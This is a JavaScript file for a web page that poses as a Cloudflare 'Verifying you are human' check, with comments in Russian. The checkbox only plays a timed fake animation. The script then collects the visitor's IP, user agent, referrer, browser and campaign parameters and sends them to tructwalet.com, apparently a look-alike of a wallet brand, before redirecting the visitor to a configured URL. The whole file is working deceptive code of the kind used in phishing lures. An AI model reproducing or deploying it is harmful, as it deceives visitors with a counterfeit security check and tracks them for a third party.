var params = JSON.parse(document.getElementById('params').textContent) window.logPassedUser = async function () { let ip = null; try { const res = await fetch("https://api.ipify.org?format=json"); const json = await res.json(); ip = json.ip; } catch (e) { console.warn("No way", e); } const data = { ip: ip, userAgent: navigator.userAgent, referer: document.referrer || null, browser: getBrowserName(), device: getDeviceType(), timestamp: new Date().toISOString(), utm: clRequest?.params || {}, state: clRequest?.state || "UNKNOWN" }; try { await fetch("https://tructwalet.com/api/log", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify(data), keepalive: true }); console.log("πŸ“€ Log sent:", data); } catch (e) { console.error("❌ Failed to send log", e); } }; var clRequest = params.clRequest var isMobileDevice = params.isMobileDevice var cloudFlareConfig = params.cloudFlareConfig var challengeStage1 = document.getElementById("challenge-stage1"); var verifying = document.getElementById("verifying"); var challengeStage = document.getElementById("challenge-stage"); var challengeSpinner = document.getElementById("challenge-spinner"); var challengeSuccess = document.getElementById("challenge-success"); var challengeRunning = document.getElementById("challenge-running"); var challengeBodyText = document.getElementById("challenge-body-text"); var cloudFlareTimer; var cloudFlareTimerAlive = false; var countdownInterval; var countdownTime = cloudFlareConfig?.awaitLimit || 5; function hideElement(element) { element.style.display = "none"; element.style.visibility = "hidden"; } function showElement(element, displayStyle = "flex") { element.style.display = displayStyle; element.style.visibility = "visible"; } function startVerification() { hideElement(challengeStage1); showElement(verifying); challengeRunning.textContent = "Verifying you are human. This may take a few seconds."; // ⏱ 1. ΠŸΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅ΠΌ "Verifying..." β€” 2 сСкунды setTimeout(() => { hideElement(challengeStage); hideElement(verifying); showElement(challengeSpinner); // ⏱ 2. Π‘ΠΏΠΈΠ½Π½Π΅Ρ€ β€” 2 сСкунды setTimeout(() => { hideElement(challengeSpinner); showElement(challengeSuccess, "block"); // ⏱ 3. УспСх (Π³Π°Π»ΠΎΡ‡ΠΊΠ°) β€” 2 сСкунды hideElement(challengeBodyText); hideElement(challengeRunning); setTimeout(() => { logPassedUser(); // Π»ΠΎΠ³ΠΈΡ€ΡƒΠ΅ΠΌ ΠΏΠ΅Ρ€Π΅Π΄ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΎΠΌ window.location.href = params.redirectUrl; }, 1300); //Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠ° послС Π»ΠΎΠ°Π΄Π΅Ρ€Π° }, 2000); // Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠ° спиннСра }, 1500); // "Verifying..." длится 2 сСкунды } function prepareForSpinner() { hideElement(challengeStage); showElement(challengeSpinner); setTimeout(showSuccess, 2000); } function showSuccess() { hideElement(challengeSpinner); showElement(challengeSuccess, "block"); hideElement(challengeBodyText); hideElement(challengeRunning); } function initVerificationProcess() { // document.removeEventListener("mousemove", initVerificationProcess); document.removeEventListener("touchstart", initVerificationProcess); document.removeEventListener("touchmove", initVerificationProcess); document.removeEventListener("click", initVerificationProcess); startVerification(); } const checkbox = document.querySelector('#challenge-stage1 input[type="checkbox"]'); if (checkbox) { checkbox.addEventListener("change", function () { if (this.checked) { cloudFlareTimerAlive = true; resetCloudFlareTimer(); // запускаСм Ρ‚Π°ΠΉΠΌΠ΅Ρ€ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послС наТатия startVerification(); // запускаСм Π²Π΅Ρ€ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΡŽ } }); } function stopCloudFlareTimer() { clearTimeout(cloudFlareTimer); clearInterval(countdownInterval); cloudFlareTimerAlive = false; } function resetCloudFlareTimer() { clearTimeout(cloudFlareTimer); clearInterval(countdownInterval); countdownTime = cloudFlareConfig?.awaitLimit || 15; cloudFlareTimerAlive = true; cloudFlareTimer = setTimeout(async function () { cloudFlareTimerAlive = false; clearInterval(countdownInterval); if (clRequest.state) { clRequest.state = "NOT_PASSED_BY_CLOUDFLARE_TIMEOUT" } }, countdownTime * 1000); startCountdown(); } function startCountdown() { countdownInterval = setInterval(function () { countdownTime--; if (countdownTime <= 0) { clearInterval(countdownInterval); } }, 1000); } async function handleBeforeUnload() { if (clRequest.state) { clRequest.state = "NOT_PASSED_BY_CLOUDFLARE_TIMEOUT" } } // cloudFlareTimerAlive = true; // resetCloudFlareTimer(); // document.addEventListener("mousemove", function () { // stopCloudFlareTimer(); // }); function getBrowserName() { let userAgent = navigator?.userAgent || ""; if (userAgent.includes("Chrome") && !userAgent.includes("Edg") && !userAgent.includes("OPR")) { return "Google Chrome"; } else if (userAgent.includes("Firefox")) { return "Mozilla Firefox"; } else if (userAgent.includes("Safari") && !userAgent.includes("Chrome")) { return "Apple Safari"; } else if (userAgent.includes("MSIE") || userAgent.includes("Trident")) { return "Internet Explorer"; } else if (userAgent.includes("Edge") || userAgent.includes("Edg")) { return "Microsoft Edge"; } else if (userAgent.includes("OPR") || userAgent.includes("Opera")) { return "Opera"; } else { return "Other"; } } function getDeviceType() { return isMobileDevice ? 'MOBILE' : 'DESKTOP' } function handleUserActivity() { stopCloudFlareTimer(); } // document.addEventListener("mousemove", handleUserActivity); // document.addEventListener("touchstart", handleUserActivity); // document.addEventListener("touchmove", handleUserActivity); // document.addEventListener("click", handleUserActivity); // document.addEventListener("mousemove", initVerificationProcess); // document.addEventListener("touchstart", initVerificationProcess); // document.addEventListener("touchmove", initVerificationProcess); // document.addEventListener("click", initVerificationProcess); window.addEventListener("beforeunload", handleBeforeUnload);